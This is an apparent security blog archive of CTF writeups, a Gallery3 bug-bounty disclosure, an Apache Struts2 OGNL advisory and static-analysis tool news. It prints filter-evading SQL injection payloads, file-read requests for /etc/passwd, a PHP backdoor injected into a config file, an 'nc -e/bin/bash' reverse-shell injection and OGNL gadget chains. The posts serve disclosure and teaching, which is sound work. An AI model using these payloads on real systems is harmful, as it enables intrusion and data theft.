Secuinside CTF 2013 writeup – The Bank Robber

May 26, 2013

This weekend I had a look at the secuinside CTF web challenges. As last year I really enjoyed them, thank you to the author. The Bank Robber was a website of a bank robber crew. It had two security vulnerabilities one had to identify and exploit step by step. First, a SQL Injection was exploited to read the applications source code. Then the source code was analyzed for a File Disclosure vulnerability to read the flag file.

1. SQL Injection

A SQL Injection was located in the list of hacked bank websites that had a search feature. Next to a keyword, the search feature allowed to specify a type (NUM, ATTACKER, or URL) and there was obviously some URL rewriting going on. Searching for the keyword “asd” and the different types resulted in the following URLs:

It turned out, that the type was the $column name in a SQL WHERE clause. Magic quotes was enabled so exploiting the keyword was not possible.

select * from hacked_list where $column like '%$word%' order by time desc

However, we could inject own SQL syntax into the query via column name. We used a hash tag to cut off everything behind our injection.

Note that we had to use double urlencoding because of some redirecting. Extracting data via UNION SELECT or a subselect did not work because there was some filtering going on.

1.1 Filter Evasion

After I while I tried to read files with load_file(). To my surprise it seemed to work, but the length of the /etc/passwd file I was trying to read was 11 characters.

Reading the content char by char revealed that I just accessed the string /etc/passwd I passed as argument to load_file(). It turned out, that the string load_file was replaced with an empty string. That helped a lot to evade the filter, because unload_fileion will then be replaced to union. I used multi-line comments /**/ to avoid spaces and placed the string load_file into every keyword I assumed filtering. Now I could form a UNION SELECT and read all databases, tables, and columns:**%252fseleload_filect%252f**%252f1,2,schema_naload_fileme,4%252f**%252ffrload_fileom%252f**%252finforload_filemation_schema%252eschemata%2523.1



hacked_list: idx,url,attacker,time**%252fseleload_filect%252f**%252f1,user%28%29,column_naload_fileme,4%252f**%252ffrload_fileom%252f**%252finforload_filemation_schema%252ecoluload_filemns%252f**%252fwload_filehere%252f**%252ftaload_fileble_name=0x6861636B65645F6C697374%2523.1

_BH_layout: idx,layout_name,position,path

The table hacked_list could already be read through the application and the table _BH_layout contained the following entries:

idx	path						layout_name	position
1	./book_store_skin/head.html	1			head
2	./book_store_skin/foot.html	1			foot
3	./reverted/h.htm			2			head
4	./reverted/f.htm			2			foot

There was only one database and no flag in any table, so I tried to read files again.

When I looked at the source code of the application later on, I noticed that a simple unIoN would have been enough to evade the case-sensitive filter:

function filtering($str){
 	$str = preg_replace("/select/","", $str);
 	$str = preg_replace("/union/","", $str);
 	$str = preg_replace("/from/","", $str);
 	$str = preg_replace("/load_file/","", $str);
 	$str = preg_replace("/ /","", $str);
 	return $str;

1.2 Find/Read Source Code

First, I tried to load the /etc/passwd file, this time with loadload_file_file because the string load_file is deleted by the filter once, leaving another load_file:**%252fseleload_filect%252f**%252f1,2,loadload_file_file%280x2F6574632F706173737764%29,4%2523.1

It worked. The /etc/passwd contained the following line:


Because there was some URL rewriting, I assumed a .htaccess file in the DocumentRoot. However, I could not access /var/www/.htaccess or any other file in /var/www/. The DocumentRoot must be somewhere else. Next, I tried to read the webserver’s configuration files. After a look at the list of default layout for Apache I found Apache’s configuration file in the default location /etc/apache2/apache2.conf for ubuntu. However, no DocumentRoot was specified. Further, I read the file /etc/apache2/ports.conf and finally /etc/apache2/sites-available/default where I found the DocumentRoot:

DocumentRoot /site

Now I could read the /site/.htaccess file that revealed the URL rewriting and the PHP file:

ReWriteEngine On

ReWriteRule ^$ ./Main_Site/TBR.php
RewriteRule ^layouts\/(.+) ./Main_Site/layouts/$1
ReWriteRule ^[M]\.([a-zA-Z]+)\.(.+)\.(.+)$ ./Main_Site/TBR.php?_type=M&_act=$1&column=$2&word=$3
ReWriteRule ^[P]\.home\.([12]) ./Main_Site/TBR.php?_type=P&_act=home&_skin=$1

ReWriteRule ^[P]\.([a-zA-Z]+)$ ./Main_Site/TBR.php?_type=P&_act=$1
ReWriteRule ^[M]\.([a-zA-Z]+) ./Main_Site/TBR.php?_type=M&_act=$1

Finally, I could read the source of the application located at /site/Main_Site/TBR.php with the following request:**%252fseleload_filect%252f**%252f1,2,loadload_file_file%280x2F736974652F4D61696E5F536974652F5442522E706870%29,4%2523.1

2. File Disclosure

On top of the file /site/Main_Site/TBR.php a hint is given where the flag file is located:

:: HINT ::
root@ubuntu:/var/lib/php5# pwd
root@ubuntu:/var/lib/php5# ls -l FLAG
-r--r----- 1 root www-data 32 May 25 17:26 FLAG

It tells us that we cannot read the flag file /var/lib/php5/FLAG with the SQL Injection because MySQL runs with a different user and the file is only readable to the user root and www-data. So we need to exploit the PHP script running with www-data. Lets analyze the script TBR.php.

2.1 Code Analysis

First, the application initializes some important paths in $_BHVAR:

$_BHVAR = Array(
	'path_layout'	=>	'./layouts/',
	'path_lib'	=>	'./lib/',
	'path_module'	=>	'./modules/',
	'path_page'	=>	'./pages/',
	'path_tmp'	=>	'./tmp/'

Then, it simulates magic_quotes_gpc=on and register_globals=on:

if(!get_magic_quotes_gpc()){ /* escape all GPC superglobals */ }
if(!ini_get("register_globals")) extract($_GET);

At this point we can overwrite any previously declared variable, namely the $_BHVAR array and its elements because extract will register any GET parameter as variable in the global scope. For example, the key $_BHVAR['path_layout'] can be overwritten by using the following URL:

Now lets see what we can do with this. The script includes two more files:

include_once $_BHVAR['path_lib']."database.php";
include_once $_BHVAR['path_module']."_system/functions.php";

We cannot trigger a RFI because allow_url_include=off and we cannot set the $_BHVAR['path_lib'] path to our FLAG file because a filename is appended. A nullbyte injection is prevented because magic_quotes_gpc=on. Lets move on.

The first included file database.php contains the MySQL connection credentials:

 if(!defined('__BHACK__')) exit();
 $_BHVAR['db'] = Array(
 	'host'	=>	'localhost',
 	'user'	=>	'bhack_db',
 	'pass'	=>	'bhack_p4zz',
 	'name'	=>	'BHACK_DB'

The included file functions.php contains the db_conn() and get_layout() functions that are used in the following:

function db_conn(){
 	global $_BHVAR;
	mysql_connect($_BHVAR['db']['host'], $_BHVAR['db']['user'], $_BHVAR['db']['pass']);

 function get_layout($layout, $pos){
	$result = mysql_query("select path from _BH_layout where layout_name='$layout' and position='$pos'");
	$row = mysql_fetch_array($result);
	if (!isset($row['path'])){
		if ($pos = 'head'){
			return "./reverted/h.htm";
		} else {
			return "./reverted/f.htm";
	return $row['path'];

Next, the application establishes a MySQL connection with the function db_conn() and reads the header file name for the current layout from the database. Finally, it prints the content of the header file to the HTML response.

$_skin = $_SESSION['skin'];

$head = $_BHVAR['path_layout'].get_layout($_skin, 'head');

echo file_get_contents($head);

We want to achieve that the variable $head contains the string /var/lib/php5/FLAG to print the FLAG file instead the HTML header file. Again, we cannot use $_BHVAR['path_layout'] because we cannot truncate the appended layout filename with a nullbyte. However, we can empty the path $_BHVAR['path_layout']. Next, we need to find a way that get_layout() returns our FLAG file name. A SQL Injection is prevented by magic_quotes_gpc=on.

2.2 Redirecting the MySQL server

The trick is to let the application connect to our own MySQL server that returns a different HTML header filename, namely the path to our flag file. Lets have a look at the source code again:

include_once $_BHVAR['path_lib']."database.php";
include_once $_BHVAR['path_module']."_system/functions.php";
$_skin = $_SESSION['skin'];

$head = $_BHVAR['path_layout'].get_layout($_skin, 'head');

echo file_get_contents($head);

First, we overwrite $_BHVAR['path_lib'] so that the include of the database credentials fails. Then, we can register our own database credentials through register_globals. We leave the $_BHVAR['path_module'] as it is, so the include of the functions will not fail. Then, the function db_conn() will connect to our remote MySQL server. Next, we overwrite $_BHVAR['path_layout'] with an empty string and make sure that our MySQL database returns the path to the flag file as layout file when retrieved with get_layout().

For this purpose, we setup the following MySQL database on our remote server listing on the default port 3306:

create database BHACK_DB;
grant all privileges on BHACK_DB.* to bhack_db identified by 'bhack_p4zz';
create table _BH_layout (idx INT, layout_name VARCHAR(255), position VARCHAR(10), path VARCHAR(255));
insert into _BH_layout VALUES (1, '1', 'head', '/var/lib/php5/FLAG');

And finally we can trigger the redirect. We let the include of the original MySQL credentials fail, inject our own MySQL credentials and empty the prefix of the header file name:

Then the location of the flag file is returned from our remote database and the flag is printed as HTML header:


Thanks again to the author of this cool challenge!

Gallery Project 3.0.4 BugBounty: Remote Code Execution (admin)

March 6, 2013

The Gallery Project is a photo album organizer written in PHP which is part of a BugBounty program. When launching the Gallery3 web application it is checked whether the configuration file /gallery3/var/database.php is present. If not, the installation routine is initiated which in the end creates this configuration file. Otherwise the application launches normally.

During the installation process it is possible to inject arbitrary PHP code into the database config file, leading to Remote Code Execution (RCE) on the target web server. For successful exploitation by an remote attacker it is required that the installation routine has not yet been completed on the web server.

However, another vulnerability in the administrator interface allows to delete arbitrary files. Thus, it is possible for an administrator to delete the database.php file with this second vulnerability, redo the installation, and inject a PHP backdoor with the first vulnerability. A XSS vulnerability (also reported in this release) can be used to gain admin privileges.

user —XSS—> admin –FILEDELETE–> installer —RCE—> shell

Vulnerability 1 – Code Execution

In /gallery3/installer/web.php line 35 and the following the $config values are filled with data supplied by the user:

$config = array("host" => $_POST["dbhost"],
                "user" => $_POST["dbuser"],
                "password" => $_POST["dbpass"],
                "dbname" => $_POST["dbname"],
                "prefix" => $_POST["prefix"],
                "type" => function_exists("mysqli_set_charset") ? "mysqli" : "mysql");

To avoid code injection, single quotes within the password are escaped in /gallery3/installer/web.php line 44:

    foreach ($config as $k => $v) {
      if ($k == "password") {
        $config[$k] = str_replace("'", "\\'", $v);
      } else {
        $config[$k] = strtr($v, "'`", "__");

The database credentials are then used to setup the Gallery3 database and if everything worked well, the credentials are copied into the configuration file template (/gallery3/installer/database_config.php) which uses single quotes around the credential strings.

$config['default'] = array(
  'benchmark'     => false,
  'persistent'    => false,
  'connection'    => array(
    'type'     => '<?php print $type ?>',
    'user'     => '<?php print $user ?>',
    'pass'     => '<?php print $password ?>',
    'host'     => '<?php print $host ?>',

A single quote in the password will be replaced to \’. However, if an attacker injects a backslash followed by a single quote \’ the resulting string is \\’. Now the backslash is escaped, leaving the single quote unescaped.

With this trick it is possible to break out of the single quotes and inject malicious PHP code into the /gallery3/var/database.php configuration file. This file is included by the Gallery3 core application which will execute the injected PHP code on every visited subpage.

To exploit the vulnerability an attacker can create a MySQL user on an external server with the following password:


During the installation process he specifies his external MySQL server and enters the following password:


Due to the escaping a backslash is added to the password, transforming it to a valid database credential and the database configuration file will contain the following backdoored PHP code:

$config['default'] = array(
	'benchmark'	=> false,
	'persistent'	=> false,
	'connection'	=> array(
		'type'	=> 'mysqli',
		'user'	=> 'reiners',
		'pass'	=> '\\',"f"=>system($_GET[c]),//',
		'host'	=> '',

Then the attacker sets his MySQL password to \\ to not break the application and is now able to execute arbitrary PHP code on the target webserver.

RCE in Gallery3

RCE in Gallery3

This bug was rated as moderate/major by the Gallery3 team and was rewarded with $700.

Vulnerability 2 – Arbitrary File Delete

Because an uninstalled instance of Gallery3 is unlikely to be found, an attacker is interested in deleting the database.php configuration file to gain access to the vulnerable installer again. A vulnerability that allows to delete any file on the server was found in the Gallery3 administration interface.

The Watermark module is shipped by default with Gallery3 and can be activated in the modules section of the administration interface. After a watermark image file has been uploaded, the name of the watermark image file can be altered in the advanced settings section. The altered file name is used when deleting the watermark image file again. The delete function of the watermark module in /modules/watermark/controllers/admin_watermarks.php suffers from a Path Traversal vulnerability in line 70:

  public function delete() {

    $form = watermark::get_delete_form();
    if ($form->validate()) {
      if ($name = module::get_var("watermark", "name")) {
        @unlink(VARPATH . "modules/watermark/$name");

Here, the altered $name of the image file is used unsanitized. To delete the configuration file a malicious administrator can change the watermark image file name to ../../database.php and delete the watermark file. Further, log files and .htaccess files can be deleted.

This bug was not rated as a security bug by the Gallery3 team. Although I did not endorse this rating I think this vulnerability helped to improve the rating of vulnerability 1.


The Gallery 3.0.4 packager uses the MySQL database credentials provided during installation unsanitized in a shell command. An attacker who is able to enter/change the database credentials can inject arbitrary shell commands which will be executed on the target web server if the packager is locally executed later on.

In /gallery3/modules/gallery/controllers/packager.php line 97 the following command is executed to dump the database:

    $command = "mysqldump --compact --skip-extended-insert --add-drop-table -h{$conn['host']} " .
      "-u{$conn['user']} $pass {$conn['database']} > $sql_file";
    exec($command, $output, $status);

However, the database credentials supplied by the user on installation are used unsanitized in the shell command, allowing arbitrary command execution. A malicious admin can use vulnerability 2 to gain access to the installer and specify the following database password (not affected by escaping):

1 ;nc 4444 -e/bin/bash;

If the password is valid on a specified remote MySQL server the password is written to the database.php configuration file. Once the packager is executed with the local shell command php index.php package later on, the following command is executed by the application:

mysqldump --compact --skip-extended-insert --add-drop-table -ureiners -p1 ; 
nc 4444 -e/bin/bash;

The attacker listens on port 4444, receives the remote shell connection and is able to execute arbitrary commands on the target web server. However, a local administrator has to execute the packager command on the target web server which requires social engineering. This bug was rated as minor by the Gallery3 team and was rewarded with $100.

All bugs were found with the help of RIPS and are patched in the latest Gallery 3.0.5 release.

Project RIPS v0.54 – Status

February 1, 2013

I just updated RIPS and fixed some JavaScript errors that came up due to the latest browser updates (thank you for the reports). You can download it here. Now the code viewer and other window features should work again. At the same time I am announcing that the current version of RIPS will not be enhanced. The current engine does not allow further enhancement and suffers from bad language parsing. This leads to an inacceptable rate of false positives. Further, the current engine can not be extended to support OOP.

The good news is that I have rewritten RIPS completely during the past 6 month during my final master thesis at the Ruhr-University Bochum. RIPS 1.0 now uses Abstract Syntax Trees, Control Flow Graphs, and Context-Sensitive String Analysis doing it the academic way ;). The result looks very promising, but its worthless to share any results/numbers without sharing the tool. It is still under development and a release date is unknown, but already in its current state it is way better than RIPS 0.5. In the end, full OOP support is planned. Any updates will be released here or via twitter.

The project continues … =)

Secuinside CTF writeup SQLgeek

June 12, 2012

Last weekend we participated at secuinside ctf. Mainly there were 7 binary and 7 web challenges besides a few other. All web challenges were really fun and according to the stats SQLgeek was one of the hardest web challenges. For all other web challenges there are already writeups, so here is one for sqlgeek. The source code of the PHP application was given and the challenge required 3 tasks. PHP’s magic_quotes_gpc was enabled.

1. SQL Injection

First I looked at the given source code without playing with the complicated application. Line 409 and following was eye-catching because some SQL filtering was going on.

	if(eregi("from|union|select|\(|\)| |\*|/|\t|into",$_GET[view])) 
		exit("Access Denied");
		exit("Access Denied");

	$q=mysql_fetch_array(mysql_query("select * from challenge5 
	where ip='$_GET[view]' and (str+dex+lnt+luc)='$_GET[stat]'"));
	echo ("</td><td>STR : $q[str]<br>DEX : $q[dex]<br>INT : $q[lnt]<br>LUCK : $q[luc]</td></tr>");

Even more interesting was line 411, where the input GET parameter view was converted to a korean charset before embedding it into the SQL query in line 418. This leads to a SQL injection. Chris shiflett, kuza55 and others published a bypass of the escaping in MySQL several years ago abusing uncommon charsets.

Summarized, if you supply the character sequence %bf%27 it will be escaped (due to the PHP setting magic_quotes_gpc=on) to %bf%5c%27 (%bf\’) and by converting this to the charset euc-kr the valid multibyte %bf%5c in this charset will be converted to one korean symbol leaving the trailing single quote %27 unescaped.

Since the view parameter was filtered for SQL keywords in line 412 it was a good idea to use the other GET parameter stat, that was not filtered. Instead injecting a single quote to break the ip column value in the WHERE clause I extended the value by supplying a backslash with the same trick explained above:


Now internally the PHP application escaped the backslash (%5C) in %bf%5C to %bf%5C%5C and after the call of mb_convert_encoding it left a korean character and an unescaped backslash that got injected to the SQL query:

where ip='?\' and (str+dex+lnt+luc)='$_GET[stat]'"));

My injected backslash escaped the next quote and extended the ip value until the next quote. Hence I could start with my own SQL syntax in the stat parameter:


Interestingly the MySQL user was root. So it was very likely to have the FILE privilege to read files:


Indeed /etc/passwd (here hex encoded to avoid quotes) could be read. At the end of this file a new hint was given:


2. Local File Inclusion

If I recall correctly the given source code of ReADDDDDDD______MEEEEEEEEEEEEE.php was like the following:


if(eregi('[0-9]', $_SESSION['PHPSESSID']))
if(eregi('/|\.', $_SESSION['PHPSESSID']))


Now first of all the same session is shared between the index.php and the ReADDDDDDD______MEEEEEEEEEEEEE.php. PHP sessions are stored in session files in a path that is configured with the session.save_path setting, likely the path that is prefixed in line 9. The name of the file consists of a prefix (normally sess_) and a value (normally md5) that is submitted by the cookie parameter PHPSESSID. In this file, the values of the global $_SESSION array are stored serialized. By altering the cookie one can create arbitrary session files (within a alphanumerical charset). However, this does not set the $_SESSION array key PHPSESSID to the same value.
Having a look again at the source code of the main application index.php I found the following lines right at the top:

@session_start(); include "conn.php";

The extract function that is called in line 3 simulates the dangerous register_globals PHP setting allowing to register global variables through input parameters. We can abuse this to set our own $_SESSION key PHPSESSID with the following GET request:

Cookie: PHPSESSID=reiners

Now the local file /var/php/tmp/sess_reiners is created (due to our cookie) and the following value (registered through extract) is stored:


If we visit ReADDDDDDD______MEEEEEEEEEEEEE.php with the same cookie again we now have a local file inclusion of our session file /var/php/tmp/sess_reiners in line 9 bypassing the the filter for numerical characters in line 4. To execute arbitrary PHP code we simply add another $_SESSION key value that contains our PHP code which will be stored in our session file:

Cookie: PHPSESSID=reiners

This PHP code will list all files in the current directory. I encoded the * because magic_quotes_gpc would escape any quotes and mess up our PHP code stored in the session file. Switching back to ReADDDDDDD______MEEEEEEEEEEEEE.php with the same cookie our session file gets included and executes our PHP code which printed:

Array ( 
	[2] => conn.php 
	[3] => images 
	[4] => index.php 
	[5] => index.phps 
	[6] => passwordddddddddddddddd.php 
	[7] => passwordddddddddddddddd.phps 
	[8] => readme 

3. Race condition

Another PHP file was revealed and the source code was given in passwordddddddddddddddd.phps:

system("echo '????' > readme/ppppaassssswordddd.txt");
<h1><a href=passwordddddddddddddddd.phps>source</a></h1>
system("rm -f readme/ppppaassssswordddd.txt");

Finally we can see that the flag is in line 2 (in the source file replaced with ????). So first I simply tried to read the original passwordddddddddddddddd.php file that must contain the real flag. But this would have been to easy ;) The readme/ppppaassssswordddd.txt also did not already exist.

So I had to solve the race condition. Here I have just a bit of a second to fetch the ppppaassssswordddd.txt with the flag that is created in line 2 before it gets deleted in line 6 again. Lets check if we can use this tiny time window. I injected the following PHP code in my session file as described in stage 2:


It simply loops endless until the variable $a is successfully filled with the file content of the readme/ppppaassssswordddd.txt file (file name encoded again because magic_quotes_gpc avoided quotes to form strings). Then I visited the script ReADDDDDDD______MEEEEEEEEEEEEE.php with my cookie again that now executed my PHP code and was looping endless. Then I visited the passwordddddddddddddddd.php script that would create the wanted readme/ppppaassssswordddd.txt file and immediatly delete it. To my surprise only one visit was needed so that the hanging ReADDDDDDD______MEEEEEEEEEEEEE.php stopped and finally printed the flag:


A very nice challenge with several steps, thank you to the author!
If you have solved the binaries I would love to see some writeups about them :)


BECHED noticed in the comments that you could also do a HTTP HEAD request to the passwordddddddddddddddd.php script which will parse the PHP script only until the first output, thus not deleting the flag file. You can find more details about this behaviour here.

Multiple vulnerabilities in Apache Struts2 and property oriented programming with Java

January 4, 2012

This post was voted as 2nd best in the Top 10 Web Hacking Techniques of 2011 poll.


Last month I found a weird behaviour in a Java application during a blackbox pentest. The value of a parameter id was reflected to the HTTP response and I was testing for a potential SQLi vulnerability with the following requests (urldecoded) and responses:

request response
?id=abc abc
?id=abc’+’def abcdef

Ok that looked promising. SQLi here we go:

request response
?id=abc’+(select 1)+’def
?id=abc’+(select 1 from dual)+’def

Hmm, comments and subselect does not work? Maybe table name missing in MS Access? Defaults did not work. What comment types are available?

request response
?id=abc’– -

No luck, so I started from the beginning:

request response
?id=abc’+’def abcdef
?id=abc’+1+’def abc1def
?id=abc’+(1)+’def abc1def
?id=abc’+a+’def abcnulldef

Wooty? That was really interesting. No DBMS would return null for an unknown column. Obviously a uninitialized variable was parsed here. I even could access another given parameter:

request response
?id=abc’+name+’def&name=foo abcfoodef

This was a Java app so I tried some more stuff and this one worked to my suprise:

request response
?id=abc’+(new java.lang.String(“foo”))+’def abcfoodef

Remote Java code execution? This is not even possible without really dirty tricks (compilation on the fly) I thought. A few hours later I was investigating the Java source code and saw that the application was using Apache Struts

Apache Struts2, XWork and OGNL

Apache Struts2 is a web framework for creating Java web applications. It is using the OpenSymphony XWork and OGNL libraries. By default, XWork’s ParametersInterceptor treats parameter names provided to actions as OGNL expressions. In example the parametername within the request to HelloWorld.action?parametername=1 is evaluated as OGNL expression.
A OGNL (Object Graph Navigation Language) expression is a limited language similar to Java that is tokenized and parsed by the OGNL parser which invokes appropiate Java methods. This allows e.g. convenient access to properties that have a getter/setter method implemented. By providing a parameter like the OGNL parser will call the appropiate setter getProduct().setId(1) in the current action context. OGNL is also able to call abritrary methods, constructors and access context variables.

Apache Struts2 vulnerabilities in the past

To prevent attackers calling arbitrary Java methods within parameters the flag xwork.MethodAccessor.denyMethodExecution is set to true and the SecurityMemberAccess field allowStaticMethodAccess is set to false by default.
Before Struts it was possible to bypass these security flags and execute arbitrary commands within the parameter name. You can find all the details for the Pwnie award winning vulnerability here. Summarized, it was possible to access and change the security flags leaving the attacker with all the power that OGNL comes with. The fix in Struts was to apply a tightened character whitelist to XWork’s ParametersInterceptor, that prevents injecting the hashtag # and the backslash \ (for encoding the hashtag) and therefore prevents the access to the security flags.

acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+";

The introduced remote code execution worked because it occured during an exception that is triggered when Struts tries to set a property of type Integer or Long with a value of type String. Then the value was evaluated as OGNL expression again – maybe to force an attempt to retrieve a correct data type after evaluation. Since only the parameter names are limited by a character whitelist, arbitrary OGNL and thus arbitrary Java code could be executed.
Unfortunetly for me, the bug had been already reported two month earlier and was fixed (almost silently) in Struts You can find a list of all security bulletings for Struts here. Reason enough to have another look.

New Apache Struts2 vulnerabilities

The first obvious step was to look for code where OGNL expressions supplied by the user are evaluated without the character whitelist applied. This happens in the CookieInterceptor (in all versions below leading to remote code execution when Struts is configured to handle cookies.

The next step was to look if the character whitelist applied to the parameter names is strong enough and what can be done with the available characters. Within parameters everything is handled as getter and setter. However there are two ways to inject own OGNL expressions. The first is to use dynamic function names that are evaluated before execution like in (‘ognl’)(x)=1 or you can use list indexes that are evaluated before used as in x[ognl]=1.
However you can not call arbitrary methods like x[@java.lang.System@exec('calc')]=1 because the security flag for allowStaticMethodAccess is disabled and the character @ (symbolizing static method access in OGNL) is not whitelisted. You can only access setters with only one parameter (the comma , is also not whitelisted) by providing name=foo or x[name('foo')]=1 that will both call the setter setName(‘foo’).

Then we found out you can also call constructors with one parameter with x[new java.lang.String('foo')]=1. This leads to a arbitrary file overwrite vulnerability when calling the FileWriter constructor x[new'test.txt')]=1. To inject the forbidden slash / character into the filename one can use a existent property of type String, in example x[new]=1&message=C:/test.txt. FileWriter will automatically create an empty file or overwrite an existing one.

A detailed description of all vulnerabilities with example code and PoC can be found in our advisory.

Property oriented programming with Java

Sorry for the buzzword ;) But maybe you can already imagine what the idea is. We can call arbitrary constructors and we can call setters. The next step is to look for classes that have malicious constructors (with only one parameter) or malicious setters (with only one parameter) or maybe even both. We can create arbitrary files by calling new‘test.txt’) but we cannot call‘test.txt’).write(‘data’) because denyMethodExecution is enabled and OGNL would try to call the setter setWrite(‘data’) on the FileWriter object. However if we find a class that opens a file within its constructor and writes data within a setter we could turn the arbitrary file overwrite vulnerability into a file upload vulnerability.

So I downloaded lots of Apache Commons libraries and wrote some regexes to find interesting gadgets. Useful gadgets would be classes with public constructors having only one parameter:


and having at least one setter with only one parameter:


In Struts, XWork, OGNL and 9 additional Apache Commons libraries 239 classes with a public constructor and a total of 669 setters could be found.

Example 1

To my suprise I found exactly what I was looking for in the class PrettyPrintWriter shipped with Struts itself:

package org.apache.struts2.interceptor.debugging;

public class PrettyPrintWriter {
    // constructors with 3, 2 and 1 parameter
    public PrettyPrintWriter(Writer writer, char[] lineIndenter, String newLine) {
        this.writer = new PrintWriter(writer);
        this.lineIndenter = lineIndenter;
        this.newLine = newLine;

    public PrettyPrintWriter(Writer writer, char[] lineIndenter) {
        this(writer, lineIndenter, "\n");

    public PrettyPrintWriter(Writer writer, String lineIndenter, String newLine) {
        this(writer, lineIndenter.toCharArray(), newLine);

    public PrettyPrintWriter(Writer writer, String lineIndenter) {
        this(writer, lineIndenter.toCharArray());

    // constructor with only one parameter that accepts our FileWriter
    public PrettyPrintWriter(Writer writer) {
        this(writer, new char[]{' ', ' '});

    // setter that will call write() on our FileWriter()
    public void setValue(String text) {
        readyForNewLine = false;
        tagIsEmpty = false;

        writeText(writer, text);

   protected void writeText(PrintWriter writer, String text) {

    // write text to writer object
    private void writeText(String text) {
        int length = text.length();
        for (int i = 0; i < length; i++) {
            char c = text.charAt(i);
            switch (c) {
                case '\0':

Perfect. We can create a new PrettyPrintWriter with the public constructor:

x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter()]

We use the constructor in line 25 that accepts only one parameter (remember that the comma is not whitelisted) of type Writer (FileWriter is a subclass of Writer):

x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter(new'test.txt'))]=1

This will save our FileWriter object to this.writer (line 7). Now we call the method value on our PrettyPrintWriter object and OGNL will try to call the setter setValue which indeed exists (line 30):

x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter(new'test.txt')).value('data')]=1

The call of setValue will in the end call writeText that will call a write (line 53) with our data to our FileWriter object. Then we could write arbitrary data to arbitrary files, in example uploading a JSP shell.

However that did not work. I thought the problem was that the file was never flushed or closed so I added another trick:

foobar=AAAAAAAA…&x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter(new'test026.txt'))).value(foobar)]=1

The FileWriter is now wrapped in a BufferedWriter (a direct subclass of Writer). The documentation says that the buffer will be flushed automatically after 8.192 characters. So I tried sending 9.000 characters via HTTP POST to automatically flush the buffer but in the end it still did not work. Later I found out that OGNL did not accept setValue as a valid setter because the property value does not exist in PrettyPrintWriter.

Example 2

There is tons of abusable code within OGNL to execute arbitrary code, you just have to find the right set of public constructors and setters. In example Struts class ContextBean:

package org.apache.struts2.components;

public abstract class ContextBean extends Component {
    protected String var;
    public ContextBean(ValueStack stack) {

    public void setVar(String var) {
        if (var != null) {
            this.var = findString(var);

If you can create your own ValueStack object (required in the constructor in line 6 and for OGNL evaluation) you can call the setter setVar (line 10) which is a real setter because the property var exists (line 4). The setter setVar will then call findString (line 12) that in the end will execute a OGNL expression, which can be provided by another parameter value (which is not filtered):

x[new org.apache.struts2.components.ContextBean(new com.opensymphony.xwork2.util.ValueStack()).var(foobar)]=1
&foobar=OGNL expression

The problem in this example is to create a ValueStack with a constructor that has only one parameter to avoid the filtered comma. The class com.opensymphony.xwork2.util.ValueStack itself does not provide such a constructor, however their might be other classes with reduced constructors like in the first example.

You get the idea of “property oriented programming” ;) If you find anything cool please let me know. However note that all new vulnerabilities and the presented techniques are prevented in the new Struts because whitespaces are not whitelisted anymore and you cannot access constructors anymore.

All Struts users should update to Struts

Project RIPS v0.50 – Status

December 31, 2011

I just released a new version of RIPS, my static analysis tool for vulnerabilities in PHP applications. You can find it at or A lot of things have changed and got improved but still a lot of things have to be done. Anyway, the new version is a huge step towards scanning large PHP projects.

Whats new

A major change is that RIPS now parses PHP code by instructions and not by lines anymore. This is much much more effective and accurate. Parsing code line by line worked out well for the most projects but also introduced a lot of bugs that are now fixed. RIPS is now even able to parse obfuscated PHP code and PHP backdoors.
Also I put a lot of work into the handling of arrays. In detail: [indexes] behind a variable are now removed and added to the variable token seperatly which allows much more accurate semantic parsing of connected tokens. The index value can now be reconstructed recursively and compared to other index values.
Finally RIPS is able to scan large open source projects (non-OOP). A new feature showing the current scan status and the current file that is scanned as well as a approximated timeleft supports this.
A new feature called leakscan is added that is able to detect if the output of a sensitive sink is returned to the user. In example this helps to detect where the result of your SQL Injection is printed or embedded to a header or if you have to use blind SQL Injection techniques.

Whats coming

A new release will ship a lot more documentation what RIPS has actually found and why this is a vulnerability. By now RIPS helps to understand the vulnerability type but a lot of vulnerabilities are very special so that a description for every single sensitive sink makes sense.
The next big step is to implement a initial preparsing phase where functions and their properties are indexed. After this phase all function calls can be interpreted correctly. By now, RIPS still scans top down and misses functions that are called before they are actually declared in the code. With this new structure several bugs regarding securing and quote analysis can be fixed. Then the support of object oriented programming (OOP) code can be added. Also the graphs have to be improved a lot.

Again, if you have any feedback, feature requests, false positives/negatives or code that will make RIPS struggle/hang please contact me.

Happy new year everyone !!! :) CTF 2011 challenge writeup – Secret Space Code

September 27, 2011

Secret Space Code (SSC) was another web challenge I prepared for the 2011 conference CTF. Because we experienced that web challenges are one of the most solved challenge categories during the last CTFs we participated and organized we decided to provide some tough ones.
SSC was about a client-side vulnerability in IE8 that has been patched in December 2010 without any big attention. However I felt this was a cool vulnerability and worth a 500 points challenge. The challenge text was:

The Secret Space Code (SSC) database holds a list of all space shuttle captains and their missile launch codes. You have stolen the X-wing Fighter “Incom T-65″ from captain Cardboard and you need the missile launch codes for a crazy joyride. You have heard that the SSC admin (twitter: @secretspacecode) is from redmoon where they only use unpatched Internet Explorer 8 …

hint: Client-side challenges are error-prone. Practice your attack locally before sending a link to the SSC admin via private message.

After we got some metasploit tainted links we added the hint that “client-side” was referred to vulnerabilities like CSRF and XSS and not to client-side stack smashing ;) Otherwise the challenge would not have been filed under the category web.
When visiting the challenge website there was only a password prompt. The first and easy task was – as in many other challenges – to detect the source code file index.phps:

header('Server: Secret Space Codes');
header('Content-Type: text/html; charset=UTF-8');
header('X-XSS-Protection: 1; mode=block');
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
	<title>Secret Space Codes - Database</title>

<div id="main">
<h1>Secret Space Codes Database</h1>
require 'config.php';

	if($_GET['pass'] === $password)
		$_SESSION['logged'] = true;
	} else
		$_SESSION['logged'] = false;
		echo '<p>Wrong password, get lost in space!</p>',"\n";

if(isset($_SESSION['logged']) && $_SESSION['logged'] === true)
	$conn = mysql_connect($Host, $User, $Password) 
		or die("Error: Can not connect to database. Challenge broken");

	mysql_select_db($Database, $conn) 
		or die("Error: Can not select database. Challenge broken");
	$where = '';
	echo '<form action="">',"\n",
	'<tr>',"\n",'<td><input type="text" name="captain" value="';
		echo htmlentities($_GET['captain'], ENT_QUOTES, 'utf-8');
		$captain = str_replace('all', '%', $_GET['captain']);
		$captain = mysql_real_escape_string($captain, $conn);
		$where.= "WHERE captain like '%$captain%' ";
	} else
		echo 'all';
